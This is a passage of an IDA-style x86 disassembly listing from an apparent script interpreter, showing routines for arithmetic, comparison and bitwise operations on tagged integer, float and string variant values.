U T I N E ======================================= sub_41002B proc near ; CODE XREF: sub_41226A+2B4p ; sub_41226A+3C0p ... push ecx mov edx, [eax+8] cmp edx, 1 jnz short loc_410047 mov eax, [eax+10h] cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 pop ecx retn ; --------------------------------------------------------------------------- loc_410047: ; CODE XREF: sub_41002B+7j cmp edx, 2 jnz short loc_410057 fld qword ptr [eax+10h] mov [ecx+8], edx fstp qword ptr [ecx+10h] pop ecx retn ; --------------------------------------------------------------------------- loc_410057: ; CODE XREF: sub_41002B+1Fj cmp edx, 3 jnz short loc_410066 push dword ptr [eax+10h] mov eax, ecx call sub_40FE96 loc_410066: ; CODE XREF: sub_41002B+2Fj pop ecx retn sub_41002B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410068 proc near ; CODE XREF: sub_413535+FCp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 0Dh jnz short loc_41008A push [ebp+arg_4] call sub_41D59C cdq pop ecx mov [esi+10h], eax mov [esi+14h], edx mov dword ptr [esi+8], 1 jmp short loc_4100B5 ; --------------------------------------------------------------------------- loc_41008A: ; CODE XREF: sub_410068+7j cmp [ebp+arg_0], 0Eh jnz short loc_4100A5 push [ebp+arg_4] call sub_41D6EF fstp qword ptr [esi+10h] pop ecx mov dword ptr [esi+8], 2 jmp short loc_4100B5 ; --------------------------------------------------------------------------- loc_4100A5: ; CODE XREF: sub_410068+26j cmp [ebp+arg_0], 0Fh jnz short loc_4100B5 push [ebp+arg_4] mov eax, esi call sub_40FE96 loc_4100B5: ; CODE XREF: sub_410068+20j ; sub_410068+3Bj ... pop ebp retn 8 sub_410068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100B9 proc near ; CODE XREF: sub_412B5E+4EDp ; sub_412B5E+5AAp var_38 = qword ptr -38h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 24h push ebx push esi xor edx, edx push edi mov esi, ecx mov edi, eax mov eax, [esi+8] inc edx cmp eax, edx jnz short loc_410100 mov eax, [edi+8] cmp eax, edx jnz short loc_4100E8 mov eax, [edi+10h] add [esi+10h], eax mov eax, [edi+14h] adc [esi+14h], eax jmp loc_4101D6 ; --------------------------------------------------------------------------- loc_4100E8: ; CODE XREF: sub_4100B9+1Cj push 2 pop ecx cmp eax, ecx jnz short loc_410125 fild qword ptr [esi+10h] fadd qword ptr [edi+10h] mov [esi+8], ecx fstp qword ptr [esi+10h] jmp loc_4101D6 ; --------------------------------------------------------------------------- loc_410100: ; CODE XREF: sub_4100B9+15j push 2 pop ecx cmp eax, ecx jnz short loc_410135 mov eax, [edi+8] cmp eax, edx jnz short loc_410113 fild qword ptr [edi+10h] jmp short loc_41011A ; --------------------------------------------------------------------------- loc_410113: ; CODE XREF: sub_4100B9+53j cmp eax, ecx jnz short loc_410125 fld qword ptr [edi+10h] loc_41011A: ; CODE XREF: sub_4100B9+58j fadd qword ptr [esi+10h] fstp qword ptr [esi+10h] jmp loc_4101D6 ; --------------------------------------------------------------------------- loc_410125: ; CODE XREF: sub_4100B9+34j ; sub_4100B9+5Cj cmp eax, 3 jnz loc_4101D6 call sub_40FEFE jmp short loc_4101A9 ; --------------------------------------------------------------------------- loc_410135: ; CODE XREF: sub_4100B9+4Cj cmp eax, 3 jnz loc_4101D6 mov eax, [edi+8] cmp eax, edx jnz short loc_410161 push 0Ah lea eax, [ebp+var_20] push eax push dword ptr [edi+10h] call sub_421A02 add esp, 0Ch push dword ptr [esi+10h] call sub_41C350 pop ecx jmp short loc_410186 ; --------------------------------------------------------------------------- loc_410161: ; CODE XREF: sub_4100B9+8Aj cmp eax, ecx jnz short loc_4101A4 fld qword ptr [edi+10h] push ecx push ecx fstp [esp+38h+var_38] lea eax, [ebp+var_20] push offset dword_4308E4 push eax call sub_41CA2D push dword ptr [esi+10h] call sub_41C350 add esp, 14h loc_410186: ; CODE XREF: sub_4100B9+A6j mov edi, eax lea eax, [ebp+var_20] push eax call sub_41C350 lea eax, [edi+eax+1] pop ecx push eax mov eax, esi call sub_40FF85 lea eax, [ebp+var_20] push eax jmp short loc_4101CC ; --------------------------------------------------------------------------- loc_4101A4: ; CODE XREF: sub_4100B9+AAj cmp eax, 3 jnz short loc_4101D6 loc_4101A9: ; CODE XREF: sub_4100B9+7Aj push dword ptr [esi+10h] call sub_41C350 pop ecx push dword ptr [edi+10h] mov ebx, eax call sub_41C350 lea eax, [ebx+eax+1] pop ecx push eax mov eax, esi call sub_40FF85 push dword ptr [edi+10h] loc_4101CC: ; CODE XREF: sub_4100B9+E9j push dword ptr [esi+10h] call sub_41C940 pop ecx pop ecx loc_4101D6: ; CODE XREF: sub_4100B9+2Aj ; sub_4100B9+42j ... pop edi pop esi pop ebx leave retn sub_4100B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101DB proc near ; CODE XREF: sub_412B5E+544p ; sub_412B5E+618p var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [esi+8] xor ecx, ecx inc ecx cmp eax, ecx push ebx jnz short loc_410234 mov eax, [edi+8] cmp eax, ecx jnz short loc_410204 mov eax, [edi+10h] sub [esi+10h], eax mov eax, [edi+14h] sbb [esi+14h], eax jmp loc_4102C4 ; --------------------------------------------------------------------------- loc_410204: ; CODE XREF: sub_4101DB+16j push 2 pop ebx cmp eax, ebx jnz short loc_410216 fild qword ptr [esi+10h] fsub qword ptr [edi+10h] jmp loc_4102BE ; --------------------------------------------------------------------------- loc_410216: ; CODE XREF: sub_4101DB+2Ej cmp eax, 3 jnz loc_4102C4 push dword ptr [edi+10h] call sub_41D59C cdq sub [esi+10h], eax pop ecx sbb [esi+14h], edx jmp loc_4102C4 ; --------------------------------------------------------------------------- loc_410234: ; CODE XREF: sub_4101DB+Fj push 2 pop ebx cmp eax, ebx jnz short loc_410266 mov eax, [edi+8] cmp eax, ecx jnz short loc_410247 fild qword ptr [edi+10h] jmp short loc_410261 ; --------------------------------------------------------------------------- loc_410247: ; CODE XREF: sub_4101DB+65j cmp eax, ebx jnz short loc_410253 fld qword ptr [esi+10h] fsub qword ptr [edi+10h] jmp short loc_4102C1 ; --------------------------------------------------------------------------- loc_410253: ; CODE XREF: sub_4101DB+6Ej cmp eax, 3 jnz short loc_4102C4 push dword ptr [edi+10h] call sub_41D6EF pop ecx loc_410261: ; CODE XREF: sub_4101DB+6Aj fsubr qword ptr [esi+10h] jmp short loc_4102C1 ; --------------------------------------------------------------------------- loc_410266: ; CODE XREF: sub_4101DB+5Ej cmp eax, 3 jnz short loc_4102C4 mov eax, [edi+8] cmp eax, ecx jnz short loc_41028E push dword ptr [esi+10h] call sub_41D59C sub eax, [edi+10h] pop ecx cdq mov [esi+10h], eax mov [esi+14h], edx mov dword ptr [esi+8], 1 jmp short loc_4102C4 ; --------------------------------------------------------------------------- loc_41028E: ; CODE XREF: sub_4101DB+95j cmp eax, ebx jnz short loc_41029F push dword ptr [esi+10h] call sub_41D6EF fsub qword ptr [edi+10h] jmp short loc_4102BD ; --------------------------------------------------------------------------- loc_41029F: ; CODE XREF: sub_4101DB+B5j cmp eax, 3 jnz short loc_4102C4 push dword ptr [esi+10h] call sub_41D6EF fstp [ebp+var_8] add esp, 4 push dword ptr [edi+10h] call sub_41D6EF fsubr [ebp+var_8] loc_4102BD: ; CODE XREF: sub_4101DB+C2j pop ecx loc_4102BE: ; CODE XREF: sub_4101DB+36j mov [esi+8], ebx loc_4102C1: ; CODE XREF: sub_4101DB+76j ; sub_4101DB+89j fstp qword ptr [esi+10h] loc_4102C4: ; CODE XREF: sub_4101DB+24j ; sub_4101DB+3Ej ... pop ebx leave retn sub_4101DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102C7 proc near ; CODE XREF: sub_412B5E+67Dp var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [esi+8] xor ecx, ecx inc ecx cmp eax, ecx push ebx jnz short loc_410340 mov eax, [edi+8] cmp eax, ecx jnz short loc_410307 lea ebx, [esi+10h] push dword ptr [ebx+4] push dword ptr [ebx] push dword ptr [edi+14h] push dword ptr [edi+10h] call sub_421320 mov [ebx], eax mov [ebx+4], edx fild qword ptr [ebx] mov dword ptr [esi+8], 2 fstp qword ptr [ebx] jmp loc_4103C0 ; --------------------------------------------------------------------------- loc_410307: ; CODE XREF: sub_4102C7+16j push 2 pop ebx cmp eax, ebx jnz short loc_410319 fild qword ptr [esi+10h] fmul qword ptr [edi+10h] jmp loc_4103BA ; --------------------------------------------------------------------------- loc_410319: ; CODE XREF: sub_4102C7+45j cmp eax, 3 jnz loc_4103C0 push dword ptr [edi+10h] call sub_41D6EF fild qword ptr [esi+10h] pop ecx fmulp st(1), st call sub_427778 mov [esi+10h], eax mov [esi+14h], edx fild qword ptr [esi+10h] jmp short loc_4103BA ; --------------------------------------------------------------------------- loc_410340: ; CODE XREF: sub_4102C7+Fj push 2 pop ebx cmp eax, ebx jnz short loc_41036F mov eax, [edi+8] cmp eax, ecx jnz short loc_410353 fild qword ptr [edi+10h] jmp short loc_41036A ; --------------------------------------------------------------------------- loc_410353: ; CODE XREF: sub_4102C7+85j cmp eax, ebx jnz short loc_41035C fld qword ptr [edi+10h] jmp short loc_41036A ; --------------------------------------------------------------------------- loc_41035C: ; CODE XREF: sub_4102C7+8Ej cmp eax, 3 jnz short loc_4103C0 push dword ptr [edi+10h] call sub_41D6EF pop ecx loc_41036A: ; CODE XREF: sub_4102C7+8Aj ; sub_4102C7+93j fmul qword ptr [esi+10h] jmp short loc_4103BD ; --------------------------------------------------------------------------- loc_41036F: ; CODE XREF: sub_4102C7+7Ej cmp eax, 3 jnz short loc_4103C0 mov eax, [edi+8] cmp eax, ecx jnz short loc_41038A push dword ptr [esi+10h] call sub_41D6EF fild qword ptr [edi+10h] fmulp st(1), st jmp short loc_4103B9 ; --------------------------------------------------------------------------- loc_41038A: ; CODE XREF: sub_4102C7+B2j cmp eax, ebx jnz short loc_41039B push dword ptr [esi+10h] call sub_41D6EF fmul qword ptr [edi+10h] jmp short loc_4103B9 ; --------------------------------------------------------------------------- loc_41039B: ; CODE XREF: sub_4102C7+C5j cmp eax, 3 jnz short loc_4103C0 push dword ptr [edi+10h] call sub_41D6EF fstp [ebp+var_8] add esp, 4 push dword ptr [esi+10h] call sub_41D6EF fmul [ebp+var_8] loc_4103B9: ; CODE XREF: sub_4102C7+C1j ; sub_4102C7+D2j pop ecx loc_4103BA: ; CODE XREF: sub_4102C7+4Dj ; sub_4102C7+77j mov [esi+8], ebx loc_4103BD: ; CODE XREF: sub_4102C7+A6j fstp qword ptr [esi+10h] loc_4103C0: ; CODE XREF: sub_4102C7+3Bj ; sub_4102C7+55j ... pop ebx leave retn sub_4102C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103C3 proc near ; CODE XREF: sub_412B5E+6D4p var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [esi+8] xor ecx, ecx inc ecx cmp eax, ecx push ebx jnz short loc_41041D mov eax, [edi+8] cmp eax, ecx jnz short loc_4103EF fild qword ptr [esi+10h] fild qword ptr [edi+10h] mov dword ptr [esi+8], 2 fdivp st(1), st jmp loc_41049D ; --------------------------------------------------------------------------- loc_4103EF: ; CODE XREF: sub_4103C3+16j push 2 pop ebx cmp eax, ebx jnz short loc_410401 fild qword ptr [esi+10h] fdiv qword ptr [edi+10h] jmp loc_41049A ; --------------------------------------------------------------------------- loc_410401: ; CODE XREF: sub_4103C3+31j cmp eax, 3 jnz loc_4104A0 fild qword ptr [esi+10h] push dword ptr [edi+10h] fstp [ebp+var_8] call sub_41D6EF fdivr [ebp+var_8] jmp short loc_410499 ; --------------------------------------------------------------------------- loc_41041D: ; CODE XREF: sub_4103C3+Fj push 2 pop ebx cmp eax, ebx jnz short loc_41044F mov eax, [edi+8] cmp eax, ecx jnz short loc_410430 fild qword ptr [edi+10h] jmp short loc_41044A ; --------------------------------------------------------------------------- loc_410430: ; CODE XREF: sub_4103C3+66j cmp eax, ebx jnz short loc_41043C fld qword ptr [esi+10h] fdiv qword ptr [edi+10h] jmp short loc_41049D ; --------------------------------------------------------------------------- loc_41043C: ; CODE XREF: sub_4103C3+6Fj cmp eax, 3 jnz short loc_4104A0 push dword ptr [edi+10h] call sub_41D6EF pop ecx loc_41044A: ; CODE XREF: sub_4103C3+6Bj fdivr qword ptr [esi+10h] jmp short loc_41049D ; --------------------------------------------------------------------------- loc_41044F: ; CODE XREF: sub_4103C3+5Fj cmp eax, 3 jnz short loc_4104A0 mov eax, [edi+8] cmp eax, ecx jnz short loc_41046A push dword ptr [esi+10h] call sub_41D6EF fild qword ptr [edi+10h] fdivp st(1), st jmp short loc_410499 ; --------------------------------------------------------------------------- loc_41046A: ; CODE XREF: sub_4103C3+96j cmp eax, ebx jnz short loc_41047B push dword ptr [esi+10h] call sub_41D6EF fdiv qword ptr [edi+10h] jmp short loc_410499 ; --------------------------------------------------------------------------- loc_41047B: ; CODE XREF: sub_4103C3+A9j cmp eax, 3 jnz short loc_4104A0 push dword ptr [esi+10h] call sub_41D6EF fstp [ebp+var_8] add esp, 4 push dword ptr [edi+10h] call sub_41D6EF fdivr [ebp+var_8] loc_410499: ; CODE XREF: sub_4103C3+58j ; sub_4103C3+A5j ... pop ecx loc_41049A: ; CODE XREF: sub_4103C3+39j mov [esi+8], ebx loc_41049D: ; CODE XREF: sub_4103C3+27j ; sub_4103C3+77j ... fstp qword ptr [esi+10h] loc_4104A0: ; CODE XREF: sub_4103C3+41j ; sub_4103C3+7Cj ... pop ebx leave retn sub_4103C3 endp ; =============== S U B R O U T I N E ======================================= sub_4104A3 proc near ; CODE XREF: sub_412B5E+72Bp push esi mov esi, edi call sub_40FEC3 mov esi, ebx call sub_40FEC3 push dword ptr [ebx+14h] push dword ptr [ebx+10h] push dword ptr [edi+14h] push dword ptr [edi+10h] call sub_427840 cdq mov [edi+10h], eax mov [edi+14h], edx mov dword ptr [edi+8], 1 pop esi retn sub_4104A3 endp ; =============== S U B R O U T I N E ======================================= sub_4104D3 proc near ; CODE XREF: sub_412B5E+78Ep push esi mov esi, edi call sub_40FEC3 mov esi, ebx call sub_40FEC3 mov eax, [edi+10h] mov edx, [edi+14h] mov ecx, [ebx+10h] call sub_427820 cdq mov [edi+10h], eax mov [edi+14h], edx mov dword ptr [edi+8], 1 pop esi retn sub_4104D3 endp ; =============== S U B R O U T I N E ======================================= sub_410500 proc near ; CODE XREF: sub_412B5E+7E2p push esi mov esi, edi call sub_40FEC3 mov esi, ebx call sub_40FEC3 mov eax, [edi+10h] mov edx, [edi+14h] mov ecx, [ebx+10h] call sub_4277F0 cdq mov [edi+10h], eax mov [edi+14h], edx mov dword ptr [edi+8], 1 pop esi retn sub_410500 endp ; =============== S U B R O U T I N E ======================================= sub_41052D proc near ; CODE XREF: sub_412B5E+13Fp mov edx, [eax+10h] or edx, [eax+14h] jz short loc_410548 mov edx, [ecx+10h] or edx, [ecx+14h] jz short loc_410548 xor ecx, ecx inc ecx mov [eax+10h], ecx mov [eax+8], ecx jmp short loc_410553 ; --------------------------------------------------------------------------- loc_410548: ; CODE XREF: sub_41052D+6j ; sub_41052D+Ej and dword ptr [eax+10h], 0 mov dword ptr [eax+8], 1 loc_410553: ; CODE XREF: sub_41052D+19j and dword ptr [eax+14h], 0 retn sub_41052D endp ; =============== S U B R O U T I N E ======================================= sub_410558 proc near ; CODE XREF: sub_412B5E+196p ; sub_412B5E+3A3p ... mov edx, [eax+10h] or edx, [eax+14h] jnz short loc_410575 mov edx, [ecx+10h] or edx, [ecx+14h] jnz short loc_410575 and dword ptr [eax+10h], 0 mov dword ptr [eax+8], 1 jmp short loc_41057E ; --------------------------------------------------------------------------- loc_410575: ; CODE XREF: sub_410558+6j ; sub_410558+Ej xor ecx, ecx inc ecx mov [eax+10h], ecx mov [eax+8], ecx loc_41057E: ; CODE XREF: sub_410558+1Bj and dword ptr [eax+14h], 0 retn sub_410558 endp ; =============== S U B R O U T I N E ======================================= sub_410583 proc near ; CODE XREF: sub_412B5E+D4p ; sub_412B5E+24Bp mov ecx, [eax+10h] or ecx, [eax+14h] jz short loc_410598 and dword ptr [eax+10h], 0 mov dword ptr [eax+8], 1 jmp short loc_4105A1 ; --------------------------------------------------------------------------- loc_410598: ; CODE XREF: sub_410583+6j xor ecx, ecx inc ecx mov [eax+10h], ecx mov [eax+8], ecx loc_4105A1: ; CODE XREF: sub_410583+13j and dword ptr [eax+14h], 0 retn sub_410583 endp ; =============== S U B R O U T I N E ======================================= sub_4105A6 proc near ; CODE XREF: sub_412B5E+B7p mov eax, [esi+8] xor ecx, ecx inc ecx cmp eax, ecx push edi jnz short loc_4105C2 mov eax, [esi+10h] neg eax cdq mov [esi+10h], eax mov [esi+14h], edx mov [esi+8], ecx pop edi retn ; --------------------------------------------------------------------------- loc_4105C2: ; CODE XREF: sub_4105A6+9j push 2 pop edi cmp eax, edi jnz short loc_4105CE fld qword ptr [esi+10h] jmp short loc_4105DC ; --------------------------------------------------------------------------- loc_4105CE: ; CODE XREF: sub_4105A6+21j cmp eax, 3 jnz short loc_4105E4 push dword ptr [esi+10h] call sub_41D6EF pop ecx loc_4105DC: ; CODE XREF: sub_4105A6+26j fchs mov [esi+8], edi fstp qword ptr [esi+10h] loc_4105E4: ; CODE XREF: sub_4105A6+2Bj pop edi retn sub_4105A6 endp ; =============== S U B R O U T I N E ======================================= sub_4105E6 proc near ; CODE XREF: sub_412B5E+EEp mov eax, [ecx+10h] or eax, [ecx+14h] jz short locret_410601 mov eax, [ecx+10h] not eax cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 locret_410601: ; CODE XREF: sub_4105E6+6j retn sub_4105E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410602 proc near ; CODE XREF: sub_412B5E+1EDp ; sub_412B5E+244p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx xor ebx, ebx push edi mov edi, eax mov eax, [esi+8] inc ebx cmp eax, ebx jnz short loc_410666 mov eax, [edi+8] cmp eax, ebx jnz short loc_410632 mov eax, [esi+10h] cmp eax, [edi+10h] jnz loc_4106CF mov eax, [esi+14h] cmp eax, [edi+14h] jmp loc_4106C9 ; --------------------------------------------------------------------------- loc_410632: ; CODE XREF: sub_410602+17j cmp eax, 2 jnz short loc_410652 fld qword ptr [edi+10h] call sub_427778 loc_41063F: ; CODE XREF: sub_410602+62j mov ecx, [esi+10h] cdq cmp ecx, eax jnz loc_4106CF mov eax, [esi+14h] cmp eax, edx jmp short loc_4106C9 ; --------------------------------------------------------------------------- loc_410652: ; CODE XREF: sub_410602+33j cmp eax, 3 jnz loc_41071B push dword ptr [edi+10h] call sub_41D59C pop ecx jmp short loc_41063F ; --------------------------------------------------------------------------- loc_410666: ; CODE XREF: sub_410602+10j cmp eax, 2 jnz short loc_4106AB mov eax, [edi+8] cmp eax, ebx jnz short loc_41067C fld qword ptr [esi+10h] call sub_427778 jmp short loc_4106C0 ; --------------------------------------------------------------------------- loc_41067C: ; CODE XREF: sub_410602+6Ej cmp eax, 2 jnz short loc_41068B fld qword ptr [edi+10h] call sub_427778 jmp short loc_41069D ; --------------------------------------------------------------------------- loc_41068B: ; CODE XREF: sub_410602+7Dj cmp eax, 3 jnz loc_41071B push dword ptr [edi+10h] call sub_41D59C pop ecx loc_41069D: ; CODE XREF: sub_410602+87j fld qword ptr [esi+10h] mov edi, eax call sub_427778 sub eax, edi jmp short loc_41070C ; --------------------------------------------------------------------------- loc_4106AB: ; CODE XREF: sub_410602+67j cmp eax, 3 jnz short loc_41071B mov eax, [edi+8] cmp eax, ebx jnz short loc_4106D3 push dword ptr [esi+10h] call sub_41D59C pop ecx loc_4106C0: ; CODE XREF: sub_410602+78j cdq cmp eax, [edi+10h] jnz short loc_4106CF cmp edx, [edi+14h] loc_4106C9: ; CODE XREF: sub_410602+2Bj ; sub_410602+4Ej jnz short loc_4106CF mov eax, ebx jmp short loc_410711 ; --------------------------------------------------------------------------- loc_4106CF: ; CODE XREF: sub_410602+1Fj ; sub_410602+43j ... xor eax, eax jmp short loc_410711 ; --------------------------------------------------------------------------- loc_4106D3: ; CODE XREF: sub_410602+B3j cmp eax, 2 jnz short loc_4106FA push dword ptr [esi+10h] call sub_41D59C fld qword ptr [edi+10h] pop ecx mov [ebp+var_4], eax call sub_427778 mov ecx, [ebp+var_4] sub ecx, eax neg ecx sbb ecx, ecx inc ecx mov eax, ecx jmp short loc_410711 ; --------------------------------------------------------------------------- loc_4106FA: ; CODE XREF: sub_410602+D4j cmp eax, 3 jnz short loc_41071B push dword ptr [edi+10h] push dword ptr [esi+10h] call sub_41C730 pop ecx pop ecx loc_41070C: ; CODE XREF: sub_410602+A7j neg eax sbb eax, eax inc eax loc_410711: ; CODE XREF: sub_410602+CBj ; sub_410602+CFj ... cdq mov [esi+10h], eax mov [esi+14h], edx mov [esi+8], ebx loc_41071B: ; CODE XREF: sub_410602+53j ; sub_410602+8Cj ... pop edi pop ebx leave retn sub_410602 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41071F proc near ; CODE XREF: sub_412B5E+2A2p ; sub_412B5E+38Ep var_8 = qword ptr -8 push ebp mov ebp, esp push ecx push ecx mov eax, [esi+8] push ebx xor ebx, ebx inc ebx cmp eax, ebx jnz short loc_410785 mov eax, [edi+8] cmp eax, ebx jnz short loc_410757 mov eax, [esi+14h] cmp eax, [edi+14h] jl short loc_410750 jg loc_4107EA mov eax, [esi+10h] cmp eax, [edi+10h] ja loc_4107EA loc_410750: ; CODE XREF: sub_41071F+1Dj ; sub_41071F+62j ... xor eax, eax jmp loc_410809 ; --------------------------------------------------------------------------- loc_410757: ; CODE XREF: sub_41071F+15j cmp eax, 2 jnz short loc_410761 fild qword ptr [esi+10h] jmp short loc_4107DC ; --------------------------------------------------------------------------- loc_410761: ; CODE XREF: sub_41071F+3Bj cmp eax, 3 jnz loc_410813 fild qword ptr [esi+10h] push dword ptr [edi+10h] fstp [ebp+var_8] call sub_41D6EF fcomp [ebp+var_8] loc_41077B: ; CODE XREF: sub_41071F+ADj pop ecx loc_41077C: ; CODE XREF: sub_41071F+92j fnstsw ax test ah, 5 jp short loc_410750 jmp short loc_4107EA ; --------------------------------------------------------------------------- loc_410785: ; CODE XREF: sub_41071F+Ej cmp eax, 2 jnz short loc_4107B3 mov eax, [edi+8] cmp eax, ebx jnz short loc_410796 fild qword ptr [edi+10h] jmp short loc_4107AE ; --------------------------------------------------------------------------- loc_410796: ; CODE XREF: sub_41071F+70j cmp eax, 2 jnz short loc_4107A0 fld qword ptr [esi+10h] jmp short loc_4107DC ; --------------------------------------------------------------------------- loc_4107A0: ; CODE XREF: sub_41071F+7Aj cmp eax, 3 jnz short loc_410813 push dword ptr [edi+10h] call sub_41D6EF pop ecx loc_4107AE: ; CODE XREF: sub_41071F+75j fcomp qword ptr [esi+10h] jmp short loc_41077C ; --------------------------------------------------------------------------- loc_4107B3: ; CODE XREF: sub_41071F+69j cmp eax, 3 jnz short loc_410813 mov eax, [edi+8] cmp eax, ebx jnz short loc_4107CE push dword ptr [esi+10h] call sub_41D6EF fild qword ptr [edi+10h] fcompp st(1), st jmp short loc_41077B ; --------------------------------------------------------------------------- loc_4107CE: ; CODE XREF: sub_41071F+9Ej cmp eax, 2 jnz short loc_4107EE push dword ptr [esi+10h] call sub_41D6EF pop ecx loc_4107DC: ; CODE XREF: sub_41071F+40j ; sub_41071F+7Fj fcomp qword ptr [edi+10h] fnstsw ax test ah, 41h jnz loc_410750 loc_4107EA: ; CODE XREF: sub_41071F+1Fj ; sub_41071F+2Bj ... mov eax, ebx jmp short loc_410809 ; --------------------------------------------------------------------------- loc_4107EE: ; CODE XREF: sub_41071F+B2j cmp eax, 3 jnz short loc_410813 push dword ptr [edi+10h] push dword ptr [esi+10h] call sub_41C730 pop ecx pop ecx xor ecx, ecx test eax, eax setnle cl mov eax, ecx loc_410809: ; CODE XREF: sub_41071F+33j ; sub_41071F+CDj cdq mov [esi+10h], eax mov [esi+14h], edx mov [esi+8], ebx loc_410813: ; CODE XREF: sub_41071F+45j ; sub_41071F+84j ... pop ebx leave retn sub_41071F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410816 proc near ; CODE XREF: sub_412B5E+2F9p ; sub_412B5E+463p var_8 = qword ptr -8 push ebp mov ebp, esp push ecx push ecx mov eax, [esi+8] push ebx xor ebx, ebx inc ebx cmp eax, ebx jnz short loc_41087C mov eax, [edi+8] cmp eax, ebx jnz short loc_41084E mov eax, [esi+14h] cmp eax, [edi+14h] jg short loc_410847 jl loc_4108E1 mov eax, [esi+10h] cmp eax, [edi+10h] jb loc_4108E1 loc_410847: ; CODE XREF: sub_410816+1Dj ; sub_410816+62j ... xor eax, eax jmp loc_410900 ; --------------------------------------------------------------------------- loc_41084E: ; CODE XREF: sub_410816+15j cmp eax, 2 jnz short loc_410858 fild qword ptr [esi+10h] jmp short loc_4108D3 ; --------------------------------------------------------------------------- loc_410858: ; CODE XREF: sub_410816+3Bj cmp eax, 3 jnz loc_41090A fild qword ptr [esi+10h] push dword ptr [edi+10h] fstp [ebp+var_8] call sub_41D6EF fcomp [ebp+var_8] loc_410872: ; CODE XREF: sub_410816+ADj pop ecx loc_410873: ; CODE XREF: sub_410816+92j fnstsw ax test ah, 41h jnz short loc_410847 jmp short loc_4108E1 ; --------------------------------------------------------------------------- loc_41087C: ; CODE XREF: sub_410816+Ej cmp eax, 2 jnz short loc_4108AA mov eax, [edi+8] cmp eax, ebx jnz short loc_41088D fild qword ptr [edi+10h] jmp short loc_4108A5 ; --------------------------------------------------------------------------- loc_41088D: ; CODE XREF: sub_410816+70j cmp eax, 2 jnz short loc_410897 fld qword ptr [esi+10h] jmp short loc_4108D3 ; --------------------------------------------------------------------------- loc_410897: ; CODE XREF: sub_410816+7Aj cmp eax, 3 jnz short loc_41090A push dword ptr [edi+10h] call sub_41D6EF pop ecx loc_4108A5: ; CODE XREF: sub_410816+75j fcomp qword ptr [esi+10h] jmp short loc_410873 ; --------------------------------------------------------------------------- loc_4108AA: ; CODE XREF: sub_410816+69j cmp eax, 3 jnz short loc_41090A mov eax, [edi+8] cmp eax, ebx jnz short loc_4108C5 push dword ptr [esi+10h] call sub_41D6EF fild qword ptr [edi+10h] fcompp st(1), st jmp short loc_410872 ; --------------------------------------------------------------------------- loc_4108C5: ; CODE XREF: sub_410816+9Ej cmp eax, 2 jnz short loc_4108E5 push dword ptr [esi+10h] call sub_41D6EF pop ecx loc_4108D3: ; CODE XREF: sub_410816+40j ; sub_410816+7Fj fcomp qword ptr [edi+10h] fnstsw ax test ah, 5 jp loc_410847 loc_4108E1: ; CODE XREF: sub_410816+1Fj ; sub_410816+2Bj ... mov eax, ebx jmp short loc_410900 ; --------------------------------------------------------------------------- loc_4108E5: ; CODE XREF: sub_410816+B2j cmp eax, 3 jnz short loc_41090A push dword ptr [edi+10h] push dword ptr [esi+10h] call sub_41C730 pop ecx pop ecx xor ecx, ecx test eax, eax setl cl mov eax, ecx loc_410900: ; CODE XREF: sub_410816+33j ; sub_410816+CDj cdq mov [esi+10h], eax mov [esi+14h], edx mov [esi+8], ebx loc_41090A: ; CODE XREF: sub_410816+45j ; sub_410816+84j ... pop ebx leave retn sub_410816 endp ; =============== S U B R O U T I N E ======================================= sub_41090D proc near ; CODE XREF: sub_412B5E+839p push esi mov esi, edi call sub_40FEC3 mov esi, ebx call sub_40FEC3 mov eax, [ebx+10h] and eax, [edi+10h] mov dword ptr [edi+8], 1 cdq mov [edi+10h], eax mov [edi+14h], edx pop esi retn sub_41090D endp ; =============== S U B R O U T I N E ======================================= sub_410932 proc near ; CODE XREF: sub_412B5E+890p push esi mov esi, edi call sub_40FEC3 mov esi, ebx call sub_40FEC3 mov eax, [ebx+10h] or eax, [edi+10h] mov dword ptr [edi+8], 1 cdq mov [edi+10h], eax mov [edi+14h], edx pop esi retn sub_410932 endp ; =============== S U B R O U T I N E ======================================= sub_410957 proc near ; CODE XREF: sub_412B5E+8E7p push esi mov esi, edi call sub_40FEC3 mov esi, ebx call sub_40FEC3 mov eax, [ebx+10h] xor eax, [edi+10h] mov dword ptr [edi+8], 1 cdq mov [edi+10h], eax mov [edi+14h], edx pop esi retn sub_410957 endp ; =============== S U B R O U T I N E ======================================= sub_41097C proc near ; CODE XREF: sub_41226A+3E2p cmp edi, 400h jbe short loc_410987 xor eax, eax retn ; --------------------------------------------------------------------------- loc_410987: ; CODE XREF: sub_41097C+6j push ebx lea ebx, [esi+4] jmp short loc_4109B2 ; --------------------------------------------------------------------------- loc_41098D: ; CODE XREF: sub_41097C+3Fj push 18h call sub_41BA91 pop ecx xor ecx, ecx cmp eax, ecx jz short loc_4109A8 mov [eax+10h], ecx mov [eax+8], ecx mov [eax+4], ecx mov [eax], ecx jmp short loc_4109AA ; --------------------------------------------------------------------------- loc_4109A8: ; CODE XREF: sub_41097C+1Dj xor eax, eax loc_4109AA: ; CODE XREF: sub_41097C+2Aj push eax mov eax, esi call sub_4109C7 loc_4109B2: ; CODE XREF: sub_41097C+Fj mov eax, ebx call sub_408AF0 cmp eax, edi jbe short loc_41098D mov eax, [esi+8] lea eax, [eax+edi*4] mov eax, [eax] pop ebx retn sub_41097C endp ; =============== S U B R O U T I N E ======================================= sub_4109C7 proc near ; CODE XREF: sub_41097C+31p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, eax mov eax, [esi+14h] add eax, 